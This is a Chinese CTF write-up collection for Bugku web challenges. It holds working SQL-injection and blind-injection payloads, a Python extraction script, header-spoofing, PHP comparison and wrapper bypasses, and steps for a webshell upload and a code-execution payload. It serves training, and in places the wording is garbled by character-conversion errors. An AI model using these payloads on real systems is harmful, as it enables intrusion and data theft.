打開連接爲一頁的滑稽動圖,只有20,應該比較簡單。直接打開開發者工具php
可是最後提交的時候不知道正確的提交格式,emmm,讓我懷疑起來。。。css
打開後要求輸入表達式計算結果,嘗試輸入,發現只能輸入1個值html
打開開發者工具,修改相應位置的輸入最大值限制前端
發現只是簡單的代碼,只要提交的what=flag就行java
在地址欄輸入橫線的內容,顯示flagpython
由於post提交的結果不會顯示在URL中,此時就須要本身構造,固然本身寫腳本提交也能夠git
這裏使用的是火狐瀏覽器的插件HackBar程序員
當提交的num不爲數字且爲1則顯示flag 通常狀況下數爲1且不爲數字自相矛盾web
但有不少方法可讓num爲1卻不是數字 好比num= 1e0.123正則表達式
打開連接後就是一個彈窗,點擊確認
一直點擊確認的話會一直重複者兩個彈框,勾選「阻止此頁面建立更多對話框」,則把js的內容顯示了出來
開發者工具查看,發現js最後一行有註釋,解碼
題目意思是把flag.baidu.com 解析到123.206.87.240,就是將域名和IP地址聯繫起來
windows下修改的文件爲:
c:\windows\system32\drivers\etc\hosts,出現沒有權限的問題請參考windows下沒有權限解決方法
而後訪問flag.baidu.com,即得flag
打開瀏覽器頁面後,頁面一直刷新
因此咱們能夠禁用JavaScript
在谷歌瀏覽器中打開設置-高級-隱私-內容設置-js-禁用
刷新題目頁面一直到有CTF圖片的頁面,查看源代碼
看別人的,也能夠採用burp suite抓包,使其中止自動刷新,其他步驟同樣
打開網頁連接,是一段php代碼
flag In the variable ! <?php error_reporting(0); // 關閉php錯誤顯示 include "flag1.php"; // 引入flag1.php文件代碼 highlight_file(__file__); if(isset($_GET['args'])){ // 經過get方式傳遞 args變量才能執行if裏面的代碼 $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ // 這個正則表達式的意思是匹配任意 [A-Za-z0-9_] 的字符,就是任意大小寫字母和0到9以及下劃線組成 die("args error!"); } eval("var_dump($$args);");// 告訴咱們這題是代碼審計的題目 } ?>
提示說flag在變量裏面,經分析只要運行 eval("var_dump($$args);");,falg頗有可能就會出來
$$args====>咱們能夠猜測$args頗有多是一個數組,應該想到的就是超全局變量$GLOBALS
他是用存儲全局變量的,全局變量的值在這個超級全局變量裏面是一個鍵值,先當於hashmap的鍵值對
全局變量能夠經過變量名在$GLOBALS找到相對應的值。
eval()這個函數的做用是字符串裏面的php代碼按正常的php代碼被執行
經過構造一個GET參數,直接傳GET一個全局變量便可
http://123.206.87.240:8004/index1.php?args=GLOBALS
打開連接
隨便輸入一些東西提交,看看返回的具體信息
返回:在好好看看。
好吧,那就再看看
本頁面上實在沒什麼東西,查看源代碼,發現了jother編碼放到console中回車一下就可獲得flag
也能夠經過編寫JavaScript經過alert(xxx)、console(xxx)、document.write(xxx)便可解密(xxx爲編碼內容)。
查看源代碼,什麼都沒有,就想到神器Burp Suite
抓包後在響應報文中看到了flag
御劍掃描,發現一個shell.php,進去頁面是一個webshell,用弱密碼嘗試無效
用burp suit進行爆破,這裏選擇Simple list,字典選擇burp自帶的Passwords
常規,F12開發者工具查看一下頁面中有沒有什麼重要信息
發現base64編碼,解碼後爲test123
應該爲密碼了,至於帳號無所謂,什麼都行(爲了成功獲取flag,密碼必定要爲 test123)
輸入密碼,可是頁面顯示 IP禁止訪問,請聯繫本地管理員登錄,IP已被記錄
「本地管理員」......「本地」......
獲得新思路:假裝成本地訪問:
抓包
改包:Headers中增添一對鍵值對: X-Forwarded-For : 127.0.0.1
題目說要查看源代碼,那就查看源代碼,發現一段js代碼看起來比較特殊
對它進行URL解碼
解碼後爲一段js代碼,其實就是拼接,獲得 67d709b2b54aa2aa648cf6e87a7114f1 提交
打開連接,URL提示爆破,那麼用burp suite爆破
爆破
或者用python
也就是說讓咱們點擊圖片一百萬此後才能夠顯示flag,固然這個確定辦不到
根據題目提示的JavaScript,查看源代碼,找到對應的js
var clicks=0 $(function() { $("#cookie") .mousedown(function() { $(this).width('350px').height('350px'); }) .mouseup(function() { $(this).width('375px').height('375px'); clicks++; $("#clickcount").text(clicks); if(clicks >= 100000){ var form = $('<form action="" method="post">' + '<input type="text" name="clicks" value="' + clicks + '" hidden/>' + '</form>'); $('body').append(form); form.submit(); } }); });
發現以post方式提交請求,構造URL便可
一打開是一串字符,不知道是什麼編碼,無從下手
盡然提到了文件備份,應該是備份文件源碼泄露一類的。使用源碼泄露工具,能夠自動訪問常見的CTF線索文件,若是返回正常說明文件存在。
工具連接:https://coding.net/u/yihangwang/p/SourceLeakHacker/git?public=true
也能夠根據題目提示咱們去尋找 .bak 文件(爲備份文件的拓展名),猜想構造 http://120.24.86.145:8002/web16/index.php.bak
或者用御劍掃描,查看包含的文件
查看備份文件 .bak 下載後打開
1 <?php 2 /** 3 * Created by PhpStorm. 4 * User: Norse 5 * Date: 2017/8/6 6 * Time: 20:22 7 */ 8 9 include_once "flag.php"; 10 ini_set("display_errors", 0); 11 $str = strstr($_SERVER['REQUEST_URI'], '?'); 12 $str = substr($str,1); 13 $str = str_replace('key','',$str); 14 parse_str($str); 15 echo md5($key1); 16 17 echo md5($key2); 18 if(md5($key1) == md5($key2) && $key1 !== $key2){ 19 echo $flag."取得flag"; 20 } 21 ?>
分析一下,11行strstr從URL中獲取從'?'日後(包括'?')的字符串,12行去掉'?',13行把字符串中的'key'替換爲空,可使用相似這樣的語句:kkeyey 處理來繞過,14行parse_str把字符串解析到變量中。最後須要獲得key1,key2不相等而兩者md5相等,能夠利用php弱類型比較繞過,具體原理能夠看這裏:
https://stackoverflow.com/questions/22140204/why-md5240610708-is-equal-to-md5qnkcdzo
方法一:
md5()函數沒法處理數組,若是傳入的爲數組,會返回NULL,因此兩個數組通過加密後獲得的都是NULL,也就是相等的。
方法二:
利用==比較漏洞(弱比較)
若是兩個字符經MD5加密後的值爲 0exxxxx形式,就會被認爲是科學計數法,且表示的是0*10的xxxx次方,仍是零,都是相等的。
下列的字符串的MD5值都是0e開頭的:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
s214587387a
前兩個0e開頭的分別是key一、key2的md5值
題目給了一個表格,應該就是SQL注入了
1.首先咱們要判斷sql語句的閉合方式,通常有兩種
當在id的值後面加上'時,界面無回顯,能夠判斷後端的sql語句應該是
select xxxx from xxxx where id = 'input_id' [xxxx]
或者是這樣的
select xxxx from xxxx where id = ('input_id') [xxxx]
在id = 1'
的值後面加上註釋符#
以後發現界面正常顯示,因此能夠判定sql語句的形式是id = 'input_id'
。
經常使用的閉合方式還用id = "input_id"
,id = ("input_id")
,id = ('input_id')
等等,具體是哪種只能看程序猴
的寫法。
2.判斷返回列數
可使用order by子句判斷返回的列數。當構造post參數中的order by爲5時,界面無回顯、值爲4時有回顯。因此後端返回的列數應該是4。
id=1' order by 5 #
3.判斷後端返回的前端顯示的格式
id=-1' union select 1,2,3,4 #
知道返回的列名以後,就能夠執行後繼的操做和查詢各類數據了。
好比查詢當前的數據庫名
和當前的用戶名
以及當前的sql版本號
id=-1' union select 1,database(),user(),version() #
select後面幾個數字的意思,1,2,3,4...,這裏的幾個數字純粹是湊數的,湊夠和union關鍵字前面的那個表的字段數同樣,否則無法拼接成一個表。
4.注入出當前數據庫全部的表名
information_schema是一個擁有數據庫中全部信息的庫,包含了全部的庫,表,列。
id=-2' union select 1,2,3,(select group_concat(table_name) from information_schema.tables where table_schema=database())#
5.注入出某一個表中的所有列名
id=-2' union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_name='fl4g')#
到目前爲止已經能查詢數據庫名稱、登錄數據庫的用戶名稱、當前數據庫的全部表名、某一個表中的所有字段名稱等等數據。例如在數據表fl4g
中的所有的列名只有一個skctf_flag
。那麼怎樣查詢字段內容呢?
6.注入出字段內容
利用前面注入出的信息,包括表名,列名,就能夠查詢字段內容了。
id=-2' union select 1,2,3,(select skctf_flag from fl4g) #
本題要求計算響應內容中的表達式並用 POST 請求返回結果,實質仍是快速反彈包含正確信息的 POST 請求,詳情可參考詳解 CTF Web 中的快速反彈 POST 請求
先放題解的 Python 腳本,後再解析:
import requests import re url = 'http://120.24.86.145:8002/qiumingshan/' s = requests.Session() source = s.get(url) expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() result = eval(expression) post = {'value': result} print(s.post(url, data = post).text)
一、有關 requests 的部分此處不細講,惟一要注意必須利用會話對象 Session(),不然提交結果的時候,頁面又從新生成一個新的表達式,結果天然錯誤。
二、第 6 行是利用正則表達式截取響應內容中的算術表達式。首先引入 re 模塊,其次用 search() 匹配算術表達式,匹配成功後用 group() 返回算術表達式的字符串。
三、第 7 行在得到算術表達式的字符串後,直接利用 Python 的內建方法 eval() 來計算出結果,簡單、暴力、快捷。
執行完上述腳本,就有必定的機率能夠得到 flag 了:
pycharm安裝requests:https://blog.csdn.net/weixin_37861326/article/details/80347960
打開頁面什麼也沒有,那就抓包試一下吧
發現base64編碼,解碼
發現要再解碼一次,可是結果不對
由於每次發送一次請求,它的base64不同,因此它的解碼可能要在規定時間內計算出來
借用python
#coding:utf-8 import requests import base64 url='http://123.206.87.240:8002/web6/' s=requests.Session() header=s.get(url).headers #print(header) flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #對其進行base64兩次解密 data={'margin':flag} print(s.post(url=url,data=data).content.decode())
1.打開頁面是一堆不知道是什麼的一串字符,查看源碼也沒有發現什麼
2.觀察URL,發現兩個參數
(1)line=
(2)filename=a2V5cy50eHQ=
第二個參數內容爲base64編碼,解碼後爲keys.txt
3.猜想filename參數會決定所返回的頁面(多是源碼),傳遞的參數要是base64密文形式,來交給後臺base64.decode()4.訪問http://120.24.86.145:8002/web11/index.php?line=&filename=aW5kZXgucGhw
發現頁面...空了......
line參數是否決定了返回哪一行呢?
隨便輸入一個數字測試一下,發現返回對應此行的php代碼
寫一個腳本獲取所有源碼
# -*- coding:utf-8 -*- import requests url = 'http://123.206.87.240:8002/web11/index.php' s = requests.Session() for i in range(1,30): #讀取前30行 payloads = {'line':str(i),'filename':'aW5kZXgucGhw'} #構造 a = s.get(url,params=payloads).content c = str(a,encoding="utf-8") print(c)
5.獲得源碼
1 <?php 2 3 error_reporting(0); 4 5 $file=base64_decode(isset($_GET[‘filename‘])?$_GET[‘filename‘]:""); 6 7 $line=isset($_GET[‘line‘])?intval($_GET[‘line‘]):0; 8 9 if($file==‘‘) header("location:index.php?line=&filename=a2V5cy50eHQ="); 10 11 $file_list = array( 12 13 ‘0‘ =>‘keys.txt‘, 14 15 ‘1‘ =>‘index.php‘, 16 17 ); 18 19 20 21 if(isset($_COOKIE[‘margin‘]) && $_COOKIE[‘margin‘]==‘margin‘){ 22 23 $file_list[2]=‘keys.php‘; 24 25 } 26 27 28 29 if(in_array($file, $file_list)){ 30 31 $fa = file($file); 32 33 echo $fa[$line]; 34 35 } 36 37 ?>
分析源碼,前面判斷傳參,後面判斷cookie必須知足margin=margin才能訪問keys.php
6.
第一種:先獲得keys.php的base64編碼a2V5cy5waHA=
經過火狐瀏覽器的插件僞造cookie
1.先右鍵查看源代碼,發現以下內容
2.除了這個之外,獲取不到什麼其它的內容,那麼就訪問它:http://123.206.87.240:8006/test/1p.html
發現自動跳轉到了bugku的頁面,應該是重定向了
3.訪問url沒什麼用,就查看頁面的源代碼:view-source:http://123.206.87.240:8006/test/1p.html
4.第七行內容爲url編碼,解碼後再base64,再url解碼
1 ";if(!$_GET['id']) 2 { 3 header('Location: hello.php?id=1'); 4 exit(); 5 } 6 $id=$_GET['id']; 7 $a=$_GET['a']; 8 $b=$_GET['b']; 9 if(stripos($a,'.')) 10 { 11 echo 'no no no no no no no'; 12 return ; 13 } 14 $data = @file_get_contents($a,'r'); 15 if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 16 { 17 require("f4l2a3g.txt"); 18 } 19 else 20 { 21 print "never never never give up !!!"; 22 } 23 24 25 ?>
5.函數簡介
stripos(字符串a,字符串b) 函數查找字符串b在字符串a中第一次出現的位置(不區分大小寫)。
file_get_contents 將整個文件讀入一個字符串
strlen() 函數返回字符串的長度
substr() 函數返回字符串的一部分。 substr(string,start,length) ,length參數可選。如 substr($b,0,1) 就是在參數b裏面 ,從0開始返回1個長度的字符串,就是取第一個字符
eregi("111".substr($b,0,1),"1114") 就是判斷"1114"這個字符串裏面是否含有符合"111".substr($b,0,1)這個規則的
6.其中各條核心語句的做用以下:
id
$a
中不能含有字符 .
$data
弱等於字符串 bugku is a nice plateform!
$id
弱等於整型數 0$b
的長度大於 51114
要與字符串 111
鏈接變量 $b
的第一個字符構成的正則表達式匹配$b
的第一個字符弱不等於整型數 47.源碼中 $id
、$a
、$b
三個變量須要知足的條件進行講解
PHP 弱類型比較:變量 $id
若想知足非空非零且弱等於整型數 0,則 $id
的值只能爲非空非零字符串,這裏假設 $id = "asd"
。
PHP 僞協議:源碼中變量 $data
是由 file_get_contents()
函數讀取變量 $a
的值而得,因此 $a
的值必須爲數據流。
在服務器中自定義一個內容爲 bugku is a nice plateform!
文件,再把此文件路徑賦值給 $a
,顯然不太現實。所以這裏用僞協議 php:// 來訪問輸入輸出的數據流,其中 php://input
能夠訪問原始請求數據中的只讀流。這裏令 $a = "php://input"
,並在請求主體中提交字符串 bugku is a nice plateform!
。
eregi() 截斷漏洞:CTF 題作多了就知道 ereg()
函數或 eregi()
函數存在空字符截斷漏洞,即參數中的正則表達式或待匹配字符串遇到空字符則截斷丟棄後面的數據。
源碼中待匹配字符串(第二個參數)已肯定爲 "1114"
,正則表達式(第一個參數)由 "111"
鏈接 $b
的第一個字符組成,若令 substr($b,0,1) = "\x00"
,即知足 "1114"
與 "111"
匹配。所以,這裏假設 $b = "\x0012345"
,才能知足以上三個條件。
打擾了,仍是直接 http://123.206.87.240:8006/test/f4l2a3g.txt
https://blog.csdn.net/csu_vc/article/details/78375203
http://www.javashuo.com/article/p-rvbappoc-d.html
第一行:explode() 函數把字符串打散爲數組。
第二行:獲取數組裏的每一個字符,結果爲assert,其函數的特性爲老是使表達式值爲真
第三行:用assert函數使get得到的參數s總爲真,即用assert執行任意代碼
payload:http://120.24.86.145:8010/?s=print_r(scandir('./')) 掃描目錄
發現flag
keykeyaaaakey:/a/////keya:
PHP 正則表達式匹配函數 preg_match 與 preg_match_all
頁面都是文字,查看源碼什麼都沒有。通常都是文字的題目就可能會有連接的存在,並且題目說什麼連接,發現連接居然是能夠點進去的!!!
發現源碼:
也就是說咱們須要構造三個參數,v1,v2,v3,其中v1和v2須要值不一樣但md5的值相同,看起來是找md5碰撞的問題,但咱們也能夠利用md5函數的特性,md5(數組)會返回null,這個也是返回值,題目要求的是md5函數的返回值相等,因此就能夠用兩個值不一樣但不可md5的數據類型傳入便可。
此處咱們使用v1[]=1&&v2[]=2。第二個是strcmp函數,須要v3和flag的值相同才返回flag的值,貌似是一個雞生蛋問題,可是咱們依舊使用函數特性,strcmp函數若是出錯,那麼它的返回值也會是0,和字符串相等時返回值一致。那麼如何出錯呢,猜想不可比較時出錯,那麼傳入一個數組試試,因此最後構造參數並用get方法傳入
http://118.89.219.210:49162/?v1[]=1&&v2[]=2&&v3[]=3,獲得flag。
用常規方式註冊登錄,提示要成爲管理員才能夠;若是用爆破的話,大寫字母加小寫字母加數字太麻煩了
根據題目提示SQL約束攻擊
1.在SQL中執行字符串處理時,字符串末尾的空格符將會被刪除。換句話說「vampire」等同於「vampire 」,對於絕大多數狀況來講都是成立的(諸如WHERE子句中的字符串或INSERT語句中的字符串)例如如下語句的查詢結果,與使用用戶名「vampire」進行查詢時的結果是同樣的。 SELECT * FROM users WHERE username='vampire '; 但也存在異常狀況,最好的例子就是LIKE子句了。注意,對尾部空白符的這種修剪操做,主要是在「字符串比較」期間進行的。這是由於,SQL會在內部使用空格來填充字符串,以便在比較以前使其它們的長度保持一致。 2.在全部的INSERT查詢中,SQL都會根據varchar(n)來限制字符串的最大長度。也就是說,若是字符串的長度大於「n」個字符的話,那麼僅使用字符串的前「n」個字符。好比特定列的長度約束爲「5」個字符,那麼在插入字符串「vampire」時,實際上只能插入字符串的前5個字符,即「vampi」。
註冊成爲admin(這裏我用了25個空格),密碼符合要求便可
登錄便可
點開頁面,顯示「are you from google?」
然而用谷歌訪問行不通,構造referer請求頭便可獲得flag,關於referer:參考資料 https://www.sojson.com/blog/58.html
HTTP_REFERER 編輯
HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,通常會帶上Referer,
告訴服務器我是從哪一個頁面連接過來的,服務器基此能夠得到一些信息用於處理。
簡而言之,HTTP Referer是header的一部分,當瀏覽器向web服務器發送請求的時候,
通常會帶上Referer,告訴服務器我是從哪一個頁面連接過來的,服務器藉此能夠得到一些信息用於處理。
好比從我主頁上連接到一個朋友那裏,他的服務器就可以從HTTP Referer中統計出天天有多少用戶點擊我主頁上的連接訪問他的網站。
Referer的正確英語拼法是referrer。
因爲早期HTTP規範的拼寫錯誤,爲了保持向後兼容就將錯就錯了。
其它網絡技術的規範企圖修正此問題,使用正確拼法,因此目前拼法不統一。
題目說是md5碰撞,進入頁面要求「please input a」
PHP在處理哈希字符串時,會利用」!=」或」==」來對哈希值進行比較,它把每個以」0E」開頭的哈希值都解釋爲0(科學計數法),因此若是兩個不一樣的密碼通過哈希之後,其哈希值都是以」0E」開頭的,那麼PHP將會認爲他們相同,都是0。
攻擊者能夠利用這一漏洞,經過輸入一個通過哈希後以」0E」開頭的字符串,即會被PHP解釋爲0,若是數據庫中存在這種哈希值以」0E」開頭的密碼的話,他就能夠以這個用戶的身份登陸進去,儘管並無真正的密碼。
0e開頭md5小結
構造payload:http://123.206.87.240:9009/md5.php?a=s878926199a
這道題要求從本地訪問,打開burpsuite抓包,加上:X-Forwarded-For: 127.0.0.1 就行了
X-Forwarded-For: 簡稱XFF頭,它表明客戶端,也就是HTTP的請求端真實的IP,只有在經過了HTTP 代理或者負載均衡服務器時纔會添加該項。
根據代碼要得到flag,uname與passwd的值要不等但哈希值相等,同時id=margin
構造payload:http://120.24.86.145:8002/web7/?uname[]=1&id=margin 併發送 passwd[]=2 的 postdata 請求便可
extract(array,extract_rules,prefix)
extract() 函數將$_GET數組的值轉爲變量,默認,若是有衝突,則覆蓋已有的變量
File_get_contents()把整個文件讀入一個字符串中,可利用php://input繞過
trim() 函數移除字符串兩側的空白字符或其餘預約義字符。
因此想獲得flag,要達到下面三個條件:
構造payload以下:
根據題目提示txt???思考會不會有flag.txt文件,訪問flag.txt
$ac是指flag.txt中的內容flags,$fn指的是flag.txt這個文件
payload: ?ac=flags&fn=flag.txt
進入頁面報404,嘗試點連接,沒有什麼內容,另人摸不着頭腦
御劍掃描,發現robots.txt,它是網站爬蟲規則的描述
進入 http://123.206.87.240:8002/web13/robots.txt ,發現有
查看這個php文件
發現有參數 x ,那麼確定和參數有關,可能和參數相關的就是題目一開始給的提示,想辦法變成admin
構造:http://123.206.87.240:8002/web13/resusl.php?x=admin
因此能夠上傳一個php文件 ,抓包後(或者直接該後綴名1.jpg,就不用**那步)
將頭部的Content-Type改爲Multipart/form-data大小寫繞過
**請求內容裏的Content-Type改爲image/jpeg
文件名改爲php5
就繞過了
一句話木馬
保存爲1.jpg,上傳,抓包,將第一個的Content-Type:multipart/form-data隨便一個字母改爲大寫,將文件名1.jpg改成1.php5
Multipart/form-data:
http://www.javashuo.com/article/p-fiiqzgkp-cu.html
https://www.jianshu.com/p/29e38bcc8a1d
解題:
https://blog.csdn.net/qq_42133828/article/details/85091547
https://blog.csdn.net/qq_42967398/article/details/84929817
解題:https://blog.csdn.net/xuchen16/article/details/82904488
https://blog.csdn.net/zyl_wjl_1413/article/details/84260951
https://blog.csdn.net/qq_38412357/article/details/79559039
https://blog.csdn.net/dyw_666666/article/details/83450701
http://www.javashuo.com/article/p-bdiyqhhu-ko.html
打開題目下載的文件,題目的意思是根據給出的字符串逆推出flag
<?php function encrypt($data,$key) { $key = md5('ISCC'); $x = 0; $len = strlen($data); $klen = strlen($key); for ($i=0; $i < $len; $i++) { if ($x == $klen) { $x = 0; } $char .= $key[$x]; $x+=1; } for ($i=0; $i < $len; $i++) { $str .= chr((ord($data[$i]) + ord($char[$i])) % 128); } return base64_encode($str); } ?>
output:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
大佬的解題代碼
<?php function decrypt($str) { $mkey = "729623334f0aa2784a1599fd374c120d"; $klen = strlen($mkey); $tmp = $str; $tmp = base64_decode($tmp); // 對 base64 後的字符串 decode $md_len = strlen($tmp); //獲取字符串長度 for ($i=0; $i < $md_len; $i++) { // 取二次加密用 key; if ($x == $klen) // 數據長度是否超過 key 長度檢測 $x = 0; $char .= $mkey[$x]; // 從 key 中取二次加密用 key $x+=1; } $md_data = array(); for($i=0;$i<$md_len;$i++) { // 取偏移後密文數據 array_push($md_data, ord($tmp[$i])); } $md_data_source = array(); $data1 = ""; $data2 = ""; foreach ($md_data as $key => $value) { // 對偏移後的密文數據進行還原 $i = $key; if($i >= strlen($mkey)) {$i = $i - strlen($mkey);} $dd = $value; $od = ord($mkey[$i]); array_push($md_data_source,$dd); $data1 .= chr(($dd+128)-$od); // 第一種可能, 餘數+128-key 爲迴歸數 $data2 .= chr($dd-$od); // 第二種可能, 餘數直接-key 爲迴歸數 } print "data1 => ".$data1."<br>\n"; print "data2 => ".$data2."<br>\n"; } $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; decrypt($str); ?>
1.進入頁面沒有發現什麼,右鍵查看源代碼,發現upload文件,訪問
2.新建文檔寫入 <script language=php>system("ls")</script> 後另存爲 jpg 格式
而後上傳
3.訪問這個文件的存儲位置
4.而後再訪問紅色畫框的文件位置
進入頁面點擊login什麼反應也沒有,根據提示hint
構造 http://123.206.87.240:8002/flagphp/?hint
出現源代碼
<?php error_reporting(0); include_once("flag.php"); $cookie = $_COOKIE['ISecer']; if(isset($_GET['hint'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } $KEY='ISecer:www.isecer.com'; ?>
根據代碼,只要cookie反序列化的結果和key相等便可
會下意識的覺得key的值爲下面的ISecer:www.isecer.com,可是在以前的代碼中key尚未被定義,爲空
反序列化的結果爲:ISecer=s:0:"";
<?php $KEY=''; echo serialize($KEY); ?> >>>s:0:""; <?php $KEY=NULL; echo serialize($KEY); ?> >>>N;
直接在網址後面加上flag,就會提示讓你下載文件
下載後用txt文檔打開便可
------這題我以爲可能服務器掛了,就貼了別人的
須要用到滲透測試第一步信息收集
點開blog,瀏覽所有的博客,而後看到了這
這兩個東西很容易就能聯想到時用戶名密碼,但是這裏應該是哪裏的用戶名密碼,
嘗試訪問phpmyadmin,沒想到成功訪問了,而後把上面這兩個東西分別做爲用戶名密碼輸進去,而後就能夠成功登入了,而後
直接點擊它,而後查看裏面的東西直接就獲得了flag
hints:不要一次就放棄
不知道怎麼作,看別人說直接掃目錄,show.php就能看到(不過通常狀況下線上比賽是不容許掃目錄的)
頁面什麼也沒有,目錄掃描了也沒有東西,看來是要注入登陸,通常注入都會用burp->repeater測試,比較方便,此時看到服務器的返回報文有一段base64解密的字符串
發現一段base64編碼,解碼後
$sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }
是登陸頁面的一小段源碼,經過分析源碼中數據庫的處理流程發現能夠經過輸入不存在用戶,用union select 構造出指定密碼的md5值,從而登陸成功,payload大概就是這樣username=adminawevcq3vq3rv' union select 1,'25d55ad283aa400af464c76d713c07ad'%23&password=12345678
或username=1' union select 1,md5(1)%23&password=1
而後進入了進程監控系統
我也不是很會,接下來請看這裏
先判斷注入點在哪裏
嘗試隨便輸入幾個用戶名,發現返回 username does not exist! 此時沒有輸入密碼
嘗試用戶名爲admin,發現返回 password error! 說明用戶名正確
這就驗證了咱們的猜測,那如今注入點應該就是用戶名了。
而後試試在admin後加上單引號,可是返回是用戶名不存在
這意味着什麼呢?這說明即便語法錯誤,也不會在頁面上顯示報錯信息,
也就不能使用報錯注入了,咱們發現有兩種返回信息:
username does not exist!和password error!,那咱們能夠利用這兩個返回值進行布爾盲注。
畢竟我也是第一次接觸到這種布爾型盲注,也當是小白掃盲吧,怎麼利用囉嗦幾句。
咱們猜想後臺的驗證應該是先查找咱們輸入的用戶名是否存在,大概是:
select password,username from users where username=」咱們輸入的用戶名」
若是咱們在where語句的結尾加上一個and鏈接的布爾判斷語句,就能夠根據返回值判斷where條件是否成立,好比這道題就能夠嘗試補成
where username=’admin’ and (substring(database(),1,1)=’a’)
若是返回值是password error,那麼就說明where語句是成立的,那麼咱們補充的那就也是成立的,那麼就能夠肯定數據庫的第一位是a,而後再猜想第二位。
可是這道題過濾了and!!!
嘗試加上and返回:
通過嘗試發現還過濾了空格,逗號,等號,for
空格用括號代替,等號用<>(一種不等號)代替
那怎麼辦呢,這就用上了今天介紹的異或運算^,先說一下基本規則:
1^1=0 1^0=1 0^0=0
就是說只有兩個不一樣的布爾值運算結果爲1,其餘爲零
不過在這裏用的時候先不要按這個規則去推,由於在咱們用到的三個值的布爾運算的sql語句中徹底相反
首先說下這裏咱們要補上兩個布爾值,這個最後再說爲何。
先猜數據庫名,基本語句
admin’^(ascii(mid(database()from(1)))<>97)^0#
解釋一下爲何,爲了繞過空格過濾,用括號隔開,過濾了等號,用不等號 <>代替,只要是布爾值就能夠。mid()函數和substring()同樣,一種寫法是mid(xxx,1,1),另外一種是mid(xxx,from 1 for 1)可是這裏過濾了for和逗號,那麼怎麼辦呢?
這裏用到了ascii()取ascii碼值的函數,若是傳入一個字符串那麼就會取第一個字符的字符的ascii碼值,這就有了for的做用,而且mid()函數是能夠只寫from的表示從第幾位日後的字符串,咱們將取出的字符串在傳入ascii()中取第一位,就完成了對單個字符的提取。
每一個字符的ascii碼判斷是否是不等於給定的數字,會獲得一個布爾值(0或1)再與結尾的0進行運算。
若是數據庫名的第一位的ascii碼值不是97,where條件是username=’admin’^1^0
返回值是username does not exist!
若是數據庫名的第一位的ascii碼值是97,where條件是username=’admin’^0^0
返回值會是password error!
這就構成了布爾報錯注入。
有人可能疑問大部分的判斷都是無用的,就是說可能從97嘗試到120都是username does not exist!,那如何快速找到語句成立時的返回結果(password error!)。這裏就是最後^0的妙用了,
由於’admin’^0^0和’admin’^1^1是同樣的,咱們能夠構造後者來看前者成立時的狀況。
補充一點,由於這裏既是語法錯誤也不會報錯,有可能你輸入的語句就不可能成立,但你也不知道,就很麻煩了,不過能夠改變最後是^0仍是^1,若是改不改返回值相同,那就是有語法錯誤,若是不一樣就能夠參照上一段了。這也是爲何要多加一個^0,看似畫蛇添足,其實好處多多。
就是說admin’^(ascii(mid(database()from(1)))<>97)^1# 就能夠獲得password error!
數據庫名最後能夠獲得是:blindsql
下一步猜表名,表名好像無法暴力猜,由於關鍵詞information被禁了!!!!那數據庫名就沒用了,哈哈哈,不事後面猜字段的值是同樣的原理,不虧不虧。
無法用系統表,就不能像上面同樣爆破了,真的是猜了,是admin表,語句以下
admin’^(select(1)from(admin))^1# 返回password error!說明猜對了
猜字段 admin’^(select(count(password))from(admin))^1# 返回password error!說明猜對了。
爲何要用count()呢,由於若是有多行數據也可能會報錯,會干擾判斷。
而後猜password的值,暴力猜解,與猜數據庫相似:
admin’^(ascii(mid((select(password)from(admin))from(1)))<>97)^0#
獲得密碼的MD5值:51b7a76d51e70b419f60d3473fb6f900,解密後登錄,獲得flag
# coding=utf-8 import requests import re, string, hashlib url = 'http://123.206.31.85:49167/' sss = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" headers = { 'Host': '123.206.31.85:49167', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Referer': 'http://123.206.31.85:49167/', 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': '87', 'Cookie': 'PHPSESSID=qij0np73li9nmm1rog8vo5dm76', 'Connection': 'keep-alive', 'Upgrade-Insecure-Requests': '1' } answer = '' for i in range(1, 50): flag = 0 for j in sss: postuser = "'^(select(ascii(mid((select(password)from(admin))from(%d)))<>%d))^1#" % (i, ord(j)) data = {'username': postuser, 'password': 'admin'} html = requests.post(url, headers=headers, data=data).text html = re.findall(r"<p align='center'>(.*?)</p>", html, re.S)[0] if 'username does not exist!' in html: answer += j flag = 1 print(answer) break if flag == 0: break print('password is ', answer)
運行,便可得被加密過的password,使用md5解密得其明文爲:skctf123456
再次登錄:username:admin
password : skctf123456
便可獲得key。。。。。。。。
題目說要上傳png圖片,那麼咱們嘗試上傳一下,結果頁面說圖片無效
那應該不是靠一句話菜刀,由於根本加載不出來,我以爲不可能沒有php代碼,因而在op後面構造
op=index.php 提示咱們不存在這樣的頁面 但事實是存在的
op=index 沒有出現提示 但頁面是空的
op=php://filter/read=convert.base64-encode/resource=index
發現代碼
